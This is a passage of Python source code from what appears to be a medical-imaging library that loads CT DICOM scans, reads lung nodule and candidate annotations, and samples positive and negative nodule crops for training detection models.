f.ex. 'images'.\n if component provided, data should be None.\n index : str or int\n index of an item to be looked for.\n may be key from dataset (str)\n or index inside batch (int).\n \n Returns\n -------\n int\n Position of item\n \n Notes\n -----\n This is an overload of get_pos from base Batch-class,\n see corresponding docstring for detailed explanation.\n \"\"\"\n if data is None:\n ind_pos = self._get_verified_pos(index)\n if component in ['images', 'masks','segmentation']:\n return slice(self.lower_bounds[ind_pos], self.upper_bounds[ind_pos])\n else:\n return slice(ind_pos, ind_pos + 1)\n else:\n return index \n \n \n \n @inbatch_parallel(init='indices', post='_post_default', target='threads')\n def _load_dicom(self, patient_id, **kwargs):\n \"\"\" Read dicom file, load 3d-array and convert to Hounsfield Units (HU).\n\n Notes\n -----\n Conversion to hounsfield unit scale using meta from dicom-scans is performed.\n \"\"\"\n # put 2d-scans for each patient in a list\n patient_pos = self.index.get_pos(patient_id)\n \n patient_folder = (self.index.get_fullpath(patient_id)) #.replace(str(patient_id),\"\")\n\n \n # patient_folder=patient_folder.replace(str(patient_id),\"\") #added for utrecht data\n \n list_of_dicoms = [dicom.read_file(os.path.join(patient_folder, s))\n for s in os.listdir(patient_folder)]\n \n\n list_of_dicoms.sort(key=lambda x: int(x.ImagePositionPatient[2]), reverse=False) #adapted from True\n\n dicom_slice = list_of_dicoms[0]\n intercept_pat = dicom_slice.RescaleIntercept\n slope_pat = dicom_slice.RescaleSlope\n zspacing=np.abs(list_of_dicoms[10].ImagePositionPatient[2] - list_of_dicoms[11].ImagePositionPatient[2]) #adapted!!!!\n self.spacing[patient_pos, ...] = np.asarray([zspacing,\n float(dicom_slice.PixelSpacing[0]),\n float(dicom_slice.PixelSpacing[1])], dtype=np.float)\n\n self.origin[patient_pos, ...] = np.asarray([float(dicom_slice.ImagePositionPatient[2]),\n float(dicom_slice.ImagePositionPatient[1]),\n float(dicom_slice.ImagePositionPatient[0])], dtype=np.float)\n\n patient_data = np.stack([s.pixel_array for s in list_of_dicoms]).astype(np.int16)\n\n patient_data[patient_data == AIR_HU] = 0 #adapted for Spectral Reconstructions\n\n # perform conversion to HU\n if slope_pat != 1:\n patient_data = slope_pat * patient_data.astype(np.float64)\n patient_data = patient_data.astype(np.int16)\n\n patient_data += np.int16(intercept_pat)\n return patient_data\n \n \n def sample_negatives(self, num_nodules, nodule_size, histo=None):\n \"\"\" Sample random nodules positions in CTImagesBatchMasked.\n \n Samples random nodules positions in ndarray. Each nodule have shape\n defined by `nodule_size`. If size of patients' data along z-axis\n is not the same for different patients, NotImplementedError will be raised.\n \n Parameters\n ----------\n num_nodules : int\n number of nodules to sample from dataset.\n nodule_size : ndarray(3, )\n crop shape along (z,y,x).\n histo : tuple\n np.histogram()'s output.\n 3d-histogram, represented by tuple (bins, edges).\n \n Returns\n -------\n ndarray\n ndarray(num_nodules, 3). 1st array's dim is an index of sampled\n nodules, 2nd points out start positions (integers) of nodules\n in batch `skyscraper`.\n \"\"\"\n all_indices = np.arange(len(self))\n \n sampled_indices = np.random.choice(\n all_indices, num_nodules, replace=True)\n \n #sort indices to loop over scans one by one\n sampled_indices=np.sort(sampled_indices)\n \n offset = np.zeros((num_nodules, 3))\n offset[:, 0] = self.lower_bounds[sampled_indices] #offset for z axis is what has to be added to get coordinate in skyscraper\n \n \n \n #sampler: get random samples between 0 and 1\n sampler = lambda size: np.random.rand(size, 3)\n \n sample_list=[]\n \n #loop over each scan\n for scan_nr in range(len(self)):\n #count the number of needed samples for this scan\n num_scan=list(sampled_indices).count(scan_nr) \n \n zmin,zmax,ymin,ymax,xmin,xmax=bbox2_3D(self[scan_nr].segmentation)\n (z,y,x)=self[scan_nr].images.shape\n red_box=(zmin+(z-zmax),ymin+(y-ymax),xmin+(x-xmax))\n data_shape = self.images_shape[scan_nr, :]\n \n offset_box=(zmin,ymin,xmin)\n #while this number is not reached\n \n num_samples=0\n max_trial=num_scan*200\n i=0\n while num_samples < num_scan:\n #calculate bounding box coordinates\n # print(num_samples)\n sample=sampler(size=1) * (data_shape-red_box)+offset_box\n sample=sample[0,:]\n \n \n if self[scan_nr].segmentation[int(sample[0]),int(sample[1]),int(sample[2])] == 1: #als sample binnen long zit\n \n \n start_pix = (np.rint(sample) - np.rint(nodule_size / 2))\n\n \n end_pix = start_pix + nodule_size\n \n \n \n zslice=slice(int(start_pix[0]),int(end_pix[0]))\n yslice=slice(int(start_pix[1]),int( end_pix[1]))\n xslice=slice(int(start_pix[2]),int(end_pix[2]))\n \n \n patch=self[scan_nr].masks[zslice,yslice,xslice]\n \n if np.count_nonzero(patch)==0: #if no nodule is present in scan\n \n #sample=(sample-np.ceil(nodule_size-1/2)).astype(int) #get upper left corner of sample\n sample_list.append(start_pix)\n num_samples=num_samples+1\n i=i+i\n if i > max_trial:\n print('Maximum iterations reached, not enough negative samples possible for this scan')\n # print(self.indices[scan_nr])\n \n \n\n \n #eerst midden coordinaten bepalen, deze shiften om links boven hoek te krijgen\n #offset box: shift of coordinates to get in box\n \n \n \n #shift \n #until here looping over scans\n \n #shift all to get left upper corner\n # slices.multi_slice_viewer(self.images) \n sample_list_array=np.asarray(sample_list)\n #plt.scatter(sample_list_array[:,2],sample_list_array[:,1]) \n #add z dimension offset for stack of scans and remove outer dimension\n sample_list_final=np.squeeze(np.asarray(sample_list_array+ offset, dtype=np.int))\n \n \n #delete segmentations to reduce memory\n \n \n return sample_list_final, sampled_indices\n#\n @action\n def fetch_nodules_info_general(self, nodules=None, nodules_records=None, update=False, images_loaded=True):\n \"\"\"Extract nodules' info from nodules into attribute self.nodules. \n\n \"\"\"\n if self.nodules is not None and not update:\n logger.warning(\"Nodules have already been extracted. \" +\n \"Put update argument as True for refreshing\")\n return self\n\n if nodules_records is not None:\n # load from record-array\n self.nodules = nodules_records\n\n else:\n #if necessary, adapt here the name of the patient / iterating\n #entries for PatientID should correspond to folder names of dicoms / preprocessed images\n \n #normal code : for external use\n nodules_df = nodules.set_index(\"PatientID\").astype(str)\n unique_indices = nodules_df.index.unique()\n inter_index = np.intersect1d(unique_indices,self.indices)\n \n \n \n #adapt if other headers necessary\n nodules_df = nodules_df.loc[inter_index,\n [\"CoordZ\", \"CoordY\",\n \"CoordX\", \"Diameter [mm]\", \"LesionID\"]]\n \n if np.any((nodules_df.isnull()==True)):\n print('No Nodules in patient')\n return self\n \n num_nodules = nodules_df.shape[0]\n self.nodules = np.rec.array(np.zeros(num_nodules,\n dtype=self.nodules_dtype))\n \n counter = 0\n for (pat_id,coordz, coordy, coordx, diameter, lesionid) in nodules_df.itertuples():\n \n\n pat_pos = self.index.get_pos(pat_id)\n self.nodules.patient_pos[counter] = pat_pos\n self.nodules.nodule_center[counter, :] = np.array([coordz,\n coordy,\n coordx])\n self.nodules.nodule_size[counter, :] = np.array([diameter, diameter, diameter])\n self.nodules.malignancy[counter]=lesionid\n counter += 1\n\n self._refresh_nodules_info(images_loaded)\n \n return self\n \n @action\n def fetch_nodules_info_Utrecht(self, nodules=None, nodules_records=None, update=False, images_loaded=True):\n \"\"\"Extract nodules' info from nodules into attribute self.nodules. \n\n \"\"\"\n if self.nodules is not None and not update:\n logger.warning(\"Nodules have already been extracted. \" +\n \"Put update argument as True for refreshing\")\n return self\n\n if nodules_records is not None:\n # load from record-array\n self.nodules = nodules_records\n\n else:\n #if necessary, adapt here the name of the patient / iterating\n #entries for PatientID should correspond to folder names of dicoms / preprocessed images\n \n #for own data\n nodules_df = nodules.set_index(\"PatientID\").astype(str)\n unique_indices = nodules_df.index.unique()\n \n \n inter_index = np.intersect1d(unique_indices,int(self.indices[0][:6]))\n \n #adapt if other headers necessary\n nodules_df = nodules_df.loc[inter_index,\n [\"CoordZ\", \"CoordY\",\n \"CoordX\", \"Diameter [mm]\", \"LesionID\"]]\n \n if np.any((nodules_df.isnull()==True)):\n print('No Nodules in patient')\n return self\n \n num_nodules = nodules_df.shape[0]\n self.nodules = np.rec.array(np.zeros(num_nodules,\n dtype=self.nodules_dtype))\n \n counter = 0\n for (pat_id,coordz, coordy, coordx, diameter, lesionid) in nodules_df.itertuples():\n \n pat_id=str(pat_id).zfill(6) + '_IM000001-conv'\n pat_pos = self.index.get_pos(pat_id)\n self.nodules.patient_pos[counter] = pat_pos\n self.nodules.nodule_center[counter, :] = np.array([coordz,\n coordy,\n coordx])\n self.nodules.nodule_size[counter, :] = np.array([diameter, diameter, diameter])\n self.nodules.malignancy[counter]=lesionid\n counter += 1\n\n self._refresh_nodules_info(images_loaded)\n \n return self\n\n \n @action\n def fetch_nodules_info_malignancy(self, nodules=None, nodules_records=None, update=False, images_loaded=True):\n \"\"\"Extract nodules' info from nodules into attribute self.nodules. \n\n \"\"\"\n if self.nodules is not None and not update:\n logger.warning(\"Nodules have already been extracted. \" +\n \"Put update argument as True for refreshing\")\n return self\n\n if nodules_records is not None:\n # load from record-array\n self.nodules = nodules_records\n\n else:\n # assume that nodules is supplied and load from it\n required_columns = np.array(['seriesuid', \n 'coord_x', 'coord_y', 'coord_z', 'diameter','malscore',\n 'sphericiy', 'margin', 'spiculation', 'texture',\n 'calcification', 'internal_structure', 'lobulation',\n 'subtlety'])\n\n if not (isinstance(nodules, pd.DataFrame) and np.all(np.in1d(required_columns, nodules.columns))):\n raise ValueError((\"Argument 'nodules' must be pandas DataFrame\"\n + \" with {} columns. Make sure that data provided\"\n + \" in correct format.\").format(required_columns.tolist()))\n nodules[['seriesuid']]=nodules[['seriesuid']].astype(str)\n nodules_df = nodules.set_index('seriesuid')\n \n \n unique_indices = nodules_df.index.unique()\n inter_index = np.intersect1d(unique_indices, self.indices)\n \n nodules_df = nodules_df.loc[inter_index,\n [\"coord_z\", \"coord_y\",\n \"coord_x\", \"diameter\",\"malscore\",\n \"sphericiy\", \"margin\", \"spiculation\", \"texture\",\n \"calcification\", \"internal_structure\", \"lobulation\",\n \"subtlety\"]]\n \n num_nodules = nodules_df.shape[0]\n self.nodules = np.rec.array(np.zeros(num_nodules,\n dtype=self.nodules_dtype))\n \n counter = 0\n for (pat_id, coordz, coordy, coordx, diam, malscore, \n sphericity, margin ,spiculatio, texture, calcification,\n internal_structure, lobulation, subtlety) in nodules_df.itertuples():\n pat_pos = self.index.get_pos(pat_id)\n self.nodules.patient_pos[counter] = pat_pos\n self.nodules.nodule_center[counter, :] = np.array([coordz,\n coordy,\n coordx])\n self.nodules.nodule_size[counter, :] = np.array([diam, diam, diam])\n self.nodules.malignancy[counter]= malscore\n self.nodules.sphericity[counter]=sphericity\n self.nodules.margin[counter]=margin\n self.nodules.spiculation[counter]=spiculatio\n self.nodules.texture[counter]=texture\n self.nodules.calcification[counter]=calcification\n self.nodules.internal_structure[counter]=internal_structure\n self.nodules.lobulation[counter]=lobulation\n self.nodules.subtlety[counter]=subtlety\n counter += 1\n\n self._refresh_nodules_info(images_loaded)\n \n return self\n \n \n\n @action\n def sample_nodules(self, batch_size, nodule_size=(32, 64, 64), share=0.8, variance=None, # pylint: disable=too-many-locals, too-many-statements\n mask_shape=None, histo=None, data='nonUtrecht'):\n \"\"\" Sample random crops of `images` and `masks` from batch.\n\n Create random crops, both with and without nodules in it, from input batch.\n\n Parameters\n ----------\n batch_size : int\n number of nodules in the output batch. Required,\n if share=0.0. If None, resulting batch will include all\n cancerous nodules.\n nodule_size : tuple, list or ndarray of int\n crop shape along (z,y,x).\n share : float\n share of cancer crops in the batch.\n if input CTImagesBatch contains less cancer\n nodules than needed random nodules will be taken.\n variance : tuple, list or ndarray of float\n variances of normally distributed random shifts of\n nodules' start positions.\n mask_shape : tuple, list or ndarray of int\n size of `masks` crop in (z,y,x)-order. If not None,\n crops with masks would be of mask_shape.\n If None, mask crop shape would be equal to crop_size.\n histo : tuple\n np.histogram()'s output.\n Used for sampling non-cancerous crops.\n\n Returns\n -------\n Batch\n batch with cancerous and non-cancerous crops in a proportion defined by\n `share` with total `batch_size` nodules. If `share` == 1.0, `batch_size`\n is None, resulting batch consists of all cancerous crops stored in batch.\n \"\"\"\n # make sure that nodules' info is fetched and args are OK\n \n \n if self.nodules is None:\n #if data=='Utrecht':\n # raise SkipBatchException('Batch without nodules cannot be passed further through the workflow')\n \n raise AttributeError(\"Info about nodules location must \" +\n \"be loaded before calling this method\")\n if variance is not None:\n variance = np.asarray(variance, dtype=np.int)\n variance = variance.flatten()\n if len(variance) != 3:\n logger.warning('Argument variance be np.array-like' +\n 'and has shape (3,). ' +\n 'Would be used no-scale-shift.')\n variance = None\n\n if share == 0.0 and batch_size is None:\n raise ValueError('Either supply batch_size or set share to positive number')\n\n # pos of batch-items that correspond to crops\n crops_indices = np.zeros(0, dtype=np.int16)\n\n # infer the number of cancerous nodules and the size of batch\n batch_size = batch_size if batch_size is not None else 1.0 / share * self.num_nodules\n cancer_n = int(share * batch_size)\n batch_size = int(batch_size)\n cancer_n = self.num_nodules if cancer_n > self.num_nodules else cancer_n\n\n if batch_size == 0:\n raise SkipBatchException('Batch of zero size cannot be passed further through the workflow')\n\n # choose cancerous nodules' starting positions\n nodule_size = np.asarray(nodule_size, dtype=np.int)\n if self.num_nodules == 0:\n cancer_nodules = np.zeros((0, 3))\n else:\n # adjust cancer nodules' starting positions s.t. nodules fit into\n # scan-boxes\n \n \n \n \n cancer_nodules = self._fit_into_bounds(\n nodule_size, variance=variance)\n if data== 'Utrecht':\n sample_indices = np.arange(self.num_nodules)\n \n else: \n sample_indices = np.random.choice(np.arange(self.num_nodules),\n size=cancer_n, replace=False)\n # randomly select needed number of cancer nodules (their starting\n # positions)\n \n\n cancer_nodules = cancer_nodules[sample_indices, :]\n\n # store scans-indices for chosen crops\n cancerous_indices = self.nodules.patient_pos[sample_indices].reshape(-1)\n crops_indices = np.concatenate([crops_indices, cancerous_indices])\n\n nodules_st_pos = cancer_nodules\n\n # if non-cancerous nodules are needed, add random starting pos\n if batch_size - cancer_n > 0:\n # sample starting positions for (most-likely) non-cancerous crops\n random_nodules, random_indices = self.sample_negatives(batch_size - cancer_n,\n nodule_size, histo=histo)\n \n # concat non-cancerous and cancerous crops' starting positions\n nodules_st_pos = np.vstack([nodules_st_pos, random_nodules]).astype(\n np.int) # pylint: disable=no-member\n \n # store scan-indices for randomly chose crops\n crops_indices = np.concatenate([crops_indices, random_indices])\n\n # obtain nodules' scans by cropping from self.images\n images = get_nodules_numba(self.images, nodules_st_pos, nodule_size)\n\n # if mask_shape not None, compute scaled mask for the whole batch\n # scale also nodules' starting positions and nodules' shapes\n if mask_shape is not None:\n scale_factor = np.asarray(mask_shape) / np.asarray(nodule_size)\n batch_mask_shape = np.rint(\n scale_factor * self.images_shape[0, :]).astype(np.int)\n batch_mask = self.fetch_mask(batch_mask_shape)\n nodules_st_pos = np.rint(\n scale_factor * nodules_st_pos).astype(np.int)\n else:\n batch_mask = self.masks\n mask_shape = nodule_size\n\n # crop nodules' masks\n masks = get_nodules_numba(batch_mask, nodules_st_pos, mask_shape)\n\n # build nodules' batch\n bounds = np.arange(batch_size + 1) * nodule_size[0]\n crops_spacing = self.spacing[crops_indices]\n offset = np.zeros((batch_size, 3))\n offset[:, 0] = self.lower_bounds[crops_indices]\n \n #for lidc-idri data migth need a '+'\n crops_origin = self.origin[crops_indices] - crops_spacing * (nodules_st_pos - offset)\n\n if data == 'Utrecht':\n# crops_origin_z = self.origin[crops_indices] - crops_spacing * (nodules_st_pos - offset)\n# for i, sub in enumerate(crops_origin):\n# sub[0]=crops_origin_z[i][0]\n names_gen = zip(self.indices[crops_indices], [str(e) for e in self.nodules.malignancy])\n else: \n names_gen = zip(self.indices[crops_indices], self.make_indices(batch_size))\n # ix_batch = ['_'.join([prefix[:-6], random_str]) for prefix, random_str in names_gen] for own data\n ix_batch = ['_'.join([prefix, random_str]) for prefix, random_str in names_gen]\n\n nodules_batch = type(self)(DatasetIndex(ix_batch))\n nodules_batch._init_data(images=images, bounds=bounds, spacing=crops_spacing, origin=crops_origin, masks=masks) # pylint: disable=protected-access\n\n # set nodules info in nodules' batch\n \n nodules_records = [self.nodules[self.nodules.patient_pos == crop_pos] for crop_pos in crops_indices]\n \n new_patient_pos = []\n for i, records in enumerate(nodules_records):\n new_patient_pos += [i] * len(records)\n new_patient_pos = np.array(new_patient_pos)\n nodules_records = np.concatenate(nodules_records)\n nodules_records = nodules_records.view(np.recarray)\n nodules_records.patient_pos = new_patient_pos\n \n \n \n \n # leave out nodules with zero-intersection with crops' boxes\n nodules_batch.fetch_nodules_info_general(nodules_records=nodules_records)\n \n nodules_batch._filter_nodules_info() # pylint: disable=protected-access\n\n return nodules_batch\n\n\n @action\n def sample_candidates(self, batch_size, nodule_size=(32, 64, 64), type_cand='FPred'): # pylint: disable=too-many-locals, too-many-statements):\n \"\"\" Sample random crops of `images` and `masks` from batch.\n\n Create random crops, both with and without nodules in it, from input batch.\n\n Parameters\n ----------\n batch_size : int\n number of nodules in the output batch. Required,\n if share=0.0. If None, resulting batch will include all\n cancerous nodules.\n nodule_size : tuple, list or ndarray of int\n crop shape along (z,y,x).\n share : float\n share of cancer crops in the batch.\n if input CTImagesBatch contains less cancer\n nodules than needed random nodules will be taken.\n variance : tuple, list or ndarray of float\n variances of normally distributed random shifts of\n nodules' start positions.\n mask_shape : tuple, list or ndarray of int\n size of `masks` crop in (z,y,x)-order. If not None,\n crops with masks would be of mask_shape.\n If None, mask crop shape would be equal to crop_size.\n histo : tuple\n np.histogram()'s output.\n Used for sampling non-cancerous crops.\n\n Returns\n -------\n Batch\n batch with cancerous and non-cancerous crops in a proportion defined by\n `share` with total `batch_size` nodules. If `share` == 1.0, `batch_size`\n is None, resulting batch consists of all cancerous crops stored in batch.\n \"\"\"\n \n num_candidates=len(self.candidates.candidate_center)\n # make sure that nodules' info is fetched and args are OK\n if self.candidates is None:\n raise AttributeError(\"Info about nodules location must \" +\n \"be loaded before calling this method\")\n \n\n # pos of batch-items that correspond to crops\n #crops_indices = np.zeros(0, dtype=np.int16)\n\n # infer the number of cancerous nodules and the size of batch\n batch_size = batch_size if batch_size is not None else num_candidates\n batch_size = int(batch_size)\n\n\n \n\n # choose cancerous nodules' starting positions\n nodule_size = np.asarray(nodule_size, dtype=np.int)\n \n if num_candidates == 0:\n candidates = np.zeros((0, 3))\n print('No candidates/ FP in this batch')\n raise SkipBatchException('Batch of zero size cannot be passed further through the workflow')\n \n else:\n # adjust cancer nodules' starting positions s.t. nodules fit into\n # scan-boxes\n candidates = self._fit_candidates_into_bounds(\n nodule_size, type_cand = type_cand)\n \n if len(candidates) == 0:\n print('No candidates/ FP in this batch')\n raise SkipBatchException('Batch of zero size cannot be passed further through the workflow')\n \n # randomly select needed number of cancer nodules (their starting\n # positions)\n \n batch_size=min(batch_size,len(candidates))\n \n sample_indices = np.random.choice(np.arange(len(candidates)),\n batch_size, replace=False)\n candidates = candidates[sample_indices, :]\n\n # store scans-indices for chosen crops\n # cancerous_indices = self.nodules.patient_pos[0].reshape(-1)\n # crops_indices = np.concatenate([crops_indices, cancerous_indices])\n # slices.multi_slice_viewer(self.images)\n \n \n \n nodules_st_pos = candidates\n\n # obtain nodules' scans by cropping from self.images\n \n images = get_nodules_numba(self.images, nodules_st_pos, nodule_size)\n\n \n # crop nodules' masks\n masks = get_nodules_numba(self.masks, nodules_st_pos, nodule_size)\n\n \n \n crops_indices=np.zeros(batch_size).astype(int)\n \n # build nodules' batch\n bounds = np.arange(batch_size + 1) * nodule_size[0]\n crops_spacing = self.spacing[crops_indices]\n offset = np.zeros((batch_size, 3))\n offset[:, 0] = self.lower_bounds[crops_indices]\n \n crops_origin = self.origin[crops_indices] + crops_spacing * (nodules_st_pos - offset)\n \n \n names_gen = zip(self.indices[crops_indices], self.make_indices(batch_size))\n ix_batch = ['_'.join([prefix, random_str]) for prefix, random_str in names_gen]\n \n nodules_batch = type(self)(DatasetIndex(ix_batch))\n nodules_batch._init_data(images=images, bounds=bounds, spacing=crops_spacing, origin=crops_origin, masks=masks) # pylint: disable=protected-access\n\n # pylint: disable=protected-access\n # set nodules info in nodules' batch\n candidate_records = [self.candidates[self.candidates.patient_pos == 0] ]\n new_patient_pos = []\n for i, records in enumerate(candidate_records):\n new_patient_pos += [i] * len(records)\n new_patient_pos = np.array(new_patient_pos)\n candidate_records = np.concatenate(candidate_records)\n candidate_records = candidate_records.view(np.recarray)\n candidate_records.patient_pos = new_patient_pos\n nodules_batch.fetch_candidate_info(candidate_records=candidate_records)\n\n # leave out nodules with zero-intersection with crops' boxes\n # nodules_batch._filter_nodules_info() \n return nodules_batch\n \n @action\n def fetch_candidate_info(self, candidates=None, candidate_records=None, update=False, images_loaded=True):\n \n if self.candidates is not None and not update:\n logger.warning(\"Nodules have already been extracted. \" +\n \"Put update argument as True for refreshing\")\n return self\n \n\n if candidate_records is not None:\n # load from record-array\n self.candidates = candidate_records\n\n else:\n # assume that nodules is supplied and load from it\n required_columns = np.array(['seriesuid', \n 'coordZ', 'coordY', 'coordX','class'])\n \n if not (isinstance(candidates, pd.DataFrame) and np.all(np.in1d(required_columns, candidates.columns))):\n raise ValueError((\"Argument 'nodules' must be pandas DataFrame\"\n + \" with {} columns. Make sure that data provided\"\n + \" in correct format.\").format(required_columns.tolist()))\n\n candidates_df = candidates.set_index('seriesuid')\n\n unique_indices = candidates_df.index.unique()\n inter_index = np.intersect1d(unique_indices, self.indices) #welke indices zijn nu nodig\n \n candidates_df = candidates_df.loc[inter_index, #voor die index, pak alles er bij\n [\"coordZ\", \"coordY\",\n \"coordX\", \"class\"]]\n\n num_candidates = candidates_df.shape[0]\n \n self.candidates = np.rec.array(np.zeros(num_candidates,\n dtype=self.candidates_dtype))\n counter = 0\n for pat_id, coordz, coordy, coordx, label in candidates_df.itertuples():\n pat_pos = self.index.get_pos(pat_id)\n self.candidates.patient_pos[counter] = pat_pos\n self.candidates.candidate_center[counter, :] = np.array([coordz,\n coordy,\n coordx])\n self.candidates.candidate_label[counter] = label\n counter += 1\n\n self._refresh_candidates_info(images_loaded)\n return self\n #this funciton should be everywhere where refresh candidates is no, but for now just dont change these\n #values after calling candidates info\n \n def _refresh_candidates_info(self, images_loaded=True):\n \"\"\" Refresh self.nodules attributes [spacing, origin, img_size, bias].\n\n This method is called to update [spacing, origin, img_size, bias]\n attributes of self.nodules because batch's inner data has changed,\n e.g. after resize.\n\n Parameters\n ----------\n images_loaded : bool\n if True, assumes that `_bounds` attribute is computed,\n i.e. either `masks` and/or `images` are loaded.\n \"\"\"\n if images_loaded:\n self.candidates.offset[:, 0] = self.lower_bounds[\n self.candidates.patient_pos]\n self.candidates.img_size = self.images_shape[\n self.candidates.patient_pos, :]\n\n self.candidates.spacing = self.spacing[self.candidates.patient_pos, :]\n self.candidates.origin = self.origin[self.candidates.patient_pos, :]\n \n\n# return self \n @action #creates mask of nodules but puts it in segmentation component\n def create_mask_irrelevant(self):\n \"\"\" Create `masks` component from `nodules` component.\n\n Notes\n -----\n `nodules` must be not None before calling this method.\n see :func:`~radio.preprocessing.ct_masked_batch.CTImagesMaskedBatch.fetch_nodules_info`\n for more details.\n \"\"\"\n if self.nodules is None:\n logger.warning(\"Info about nodules location must \" +\n \"be loaded before calling this method. \" +\n \"Nothing happened.\")\n self.segmentation = np.zeros_like(self.images)\n\n center_pix = np.abs(self.nodules.nodule_center -\n self.nodules.origin) / self.nodules.spacing\n start_pix = (center_pix - np.rint(self.nodules.nodule_size /\n self.nodules.spacing / 2))\n start_pix = np.rint(start_pix).astype(np.int)\n make_rect_mask_numba(self.segmentation, self.nodules.offset,\n self.nodules.img_size + self.nodules.offset, start_pix,\n np.rint(self.nodules.nodule_size / self.nodules.spacing))\n\n return self\n @action\n def fetch_nodulesEval_info(self, nodules=None, nodules_records=None, update=False, images_loaded=True):\n \"\"\"Extract nodules' info from nodules into attribute self.nodules.\n\n Parameters\n ----------\n nodules : pd.DataFrame\n contains:\n - 'seriesuid': index of patient or series.\n - 'coordZ','coordY','coordX': coordinates of nodules center.\n - 'diameter_mm': diameter, in mm.\n nodules_records : np.recarray\n if not None, should\n contain the same fields as describe in Note.\n update : bool\n if False, warning appears to remind that nodules info\n will be earased and recomputed.\n images_loaded : bool\n if True, i.e. `images` component is loaded,\n and image_size is used to compute\n correct nodules location inside `skyscraper`.\n If False, it doesn't update info of location\n inside `skyscraper`.\n\n Returns\n -------\n batch\n\n Notes\n -----\n Run this action only after :func:`~radio.CTImagesBatch.load`.\n The method fills in record array self.nodules that contains the following information about nodules:\n - self.nodules.nodule_center -- ndarray(num_nodules, 3) centers of\n nodules in world coords;\n - self.nodules.nodule_size -- ndarray(num_nodules, 3) sizes of\n nodules along z, y, x in world coord;\n - self.nodules.img_size -- ndarray(num_nodules, 3) sizes of images of\n patient data corresponding to nodules;\n - self.nodules.offset -- ndarray(num_nodules, 3) of biases of\n patients which correspond to nodules;\n - self.nodules.spacing -- ndarray(num_nodules, 3) of spacinf attribute\n of patients which correspond to nodules;\n - self.nodules.origin -- ndarray(num_nodules, 3) of origin attribute\n of patients which correspond to nodules.\n - self.nodules.patient_pos -- ndarray(num_nodules, 1) refers to\n positions of patients which correspond to stored nodules.\n\n \"\"\"\n if self.nodules is not None and not update:\n logger.warning(\"Nodules have already been extracted. \" +\n \"Put update argument as True for refreshing\")\n return self\n\n if nodules_records is not None:\n # load from record-array\n self.nodules = nodules_records\n\n else:\n # assume that nodules is supplied and load from it\n required_columns = np.array(['seriesuid', 'diameter_mm',\n 'coordZ', 'coordY', 'coordX', 'state'])\n\n if not (isinstance(nodules, pd.DataFrame) and np.all(np.in1d(required_columns, nodules.columns))):\n raise ValueError((\"Argument 'nodules' must be pandas DataFrame\"\n + \" with {} columns. Make sure that data provided\"\n + \" in correct format.\").format(required_columns.tolist()))\n\n nodules_df = nodules.set_index('seriesuid')\n\n unique_indices = nodules_df.index.unique()\n inter_index = np.intersect1d(unique_indices, self.indices)\n nodules_df = nodules_df.loc[inter_index,\n [\"coordZ\", \"coordY\",\n \"coordX\", \"diameter_mm\", \"state\"]]\n\n num_nodules = nodules_df.shape[0]\n self.nodules = np.rec.array(np.zeros(num_nodules,\n dtype=self.nodules_dtype))\n counter = 0\n for pat_id, coordz, coordy, coordx, diam, state in nodules_df.itertuples():\n pat_pos = self.index.get_pos(pat_id)\n self.nodules.patient_pos[counter] = pat_pos\n self.nodules.nodule_center[counter, :] = np.array([coordz,\n coordy,\n coordx])\n self.nodules.nodule_size[counter, :] = np.array([diam, diam, diam])\n self.nodules.state[counter]=state\n counter += 1\n\n self._refresh_nodules_info(images_loaded)\n return self\n \n \n \n def _fit_into_bounds(self, size, variance=None):\n \"\"\" Fetch start voxel coordinates of all nodules.\n\n Get start voxel coordinates of all nodules in batch.\n Note that all nodules are considered to have\n fixed same size defined by argument size: if nodule is out of\n patient's 3d image bounds than it's center is shifted to border.\n\n Parameters\n ----------\n size : list or tuple of ndarrays\n ndarray(3, ) with diameters of nodules in (z,y,x).\n variance : ndarray(3, )\n diagonal elements of multivariate normal distribution,\n for sampling random shifts along (z,y,x) correspondingly.\n\n Returns\n -------\n ndarray\n start coordinates (z,y,x) of all nodules in batch.\n \"\"\"\n size = np.array(size, dtype=np.int)\n\n center_pix = np.abs(self.nodules.nodule_center -\n self.nodules.origin) / self.nodules.spacing\n start_pix = (np.rint(center_pix) - np.rint(size / 2))\n \n if variance is not None:\n # start_pix += np.random.multivariate_normal(np.zeros(3),\n # np.diag(variance),\n # self.nodules.patient_pos.shape[0])\n \n max_var=np.array(variance /2 )\n \n min_var=np.negative(max_var)\n \n \n \n var = np.random.uniform((min_var),(max_var),start_pix.shape)\n \n final_var=np.round(var)\n \n start_pix+=final_var\n # variation=random_variation*(np.self.nodules.nodule.size)\n \n end_pix = start_pix + size\n\n bias_upper = np.maximum(end_pix - self.nodules.img_size, 0)\n start_pix -= bias_upper\n end_pix -= bias_upper\n\n bias_lower = np.maximum(-start_pix, 0)\n start_pix += bias_lower\n end_pix += bias_lower\n \n\n \n return (start_pix + self.nodules.offset).astype(np.int)\n \n\n# \n def _fit_candidates_into_bounds(self, size, type_cand):\n \"\"\" Fetch start voxel coordinates of all nodules.\n\n Get start voxel coordinates of all nodules in batch.\n Note that all nodules are considered to have\n fixed same size defined by argument size: if nodule is out of\n patient's 3d image bounds than it's center is shifted to border.\n\n Parameters\n ----------\n size : list or tuple of ndarrays\n ndarray(3, ) with diameters of nodules in (z,y,x).\n variance : ndarray(3, )\n diagonal elements of multivariate normal distribution,\n for sampling random shifts along (z,y,x) correspondingly.\n\n Returns\n -------\n ndarray\n start coordinates (z,y,x) of all nodules in batch.\n \"\"\"\n size = np.array(size, dtype=np.int)\n\n\n # center_pix = np.abs(self.candidates.candidate_center -\n # self.candidates.origin) / self.candidates.spacing\n \n start_pix_list=[]\n \n\n \n for i in range(len(self.candidates.candidate_center)):\n if self.candidates.candidate_label[i] == 0:\n if type_cand=='FPred':\n center_pix=self.candidates.candidate_center[i]\n elif type_cand== 'LunCand': \n center_pix = np.abs((self.candidates.candidate_center[i] -\n self.candidates.origin[i]) / self.candidates.spacing[i])\n \n else:\n raise ValueError(\"Argument type_cand must have one of values: \"\n + \"'FPred', r 'LunCand\")\n \n start_pix = (np.rint(center_pix) - np.rint(size / 2))\n\n \n end_pix = start_pix + size\n \n img_size_array=np.array(self.candidates.img_size[i])\n bias_upper = np.maximum(end_pix - img_size_array, 0)\n start_pix -= bias_upper\n end_pix -= bias_upper\n\n bias_lower = np.maximum(-start_pix, 0)\n start_pix += bias_lower\n end_pix += bias_lower\n \n zslice=slice(int(start_pix[0]),int(end_pix[0]))\n yslice=slice(int(start_pix[1]),int( end_pix[1]))\n xslice=slice(int(start_pix[2]),int(end_pix[2]))\n \n \n patch=self.masks[zslice,yslice,xslice]\n if np.count_nonzero(patch)==0: #if no nodule is present in scan\n start_pix_list.append(start_pix)\n \n \n \n 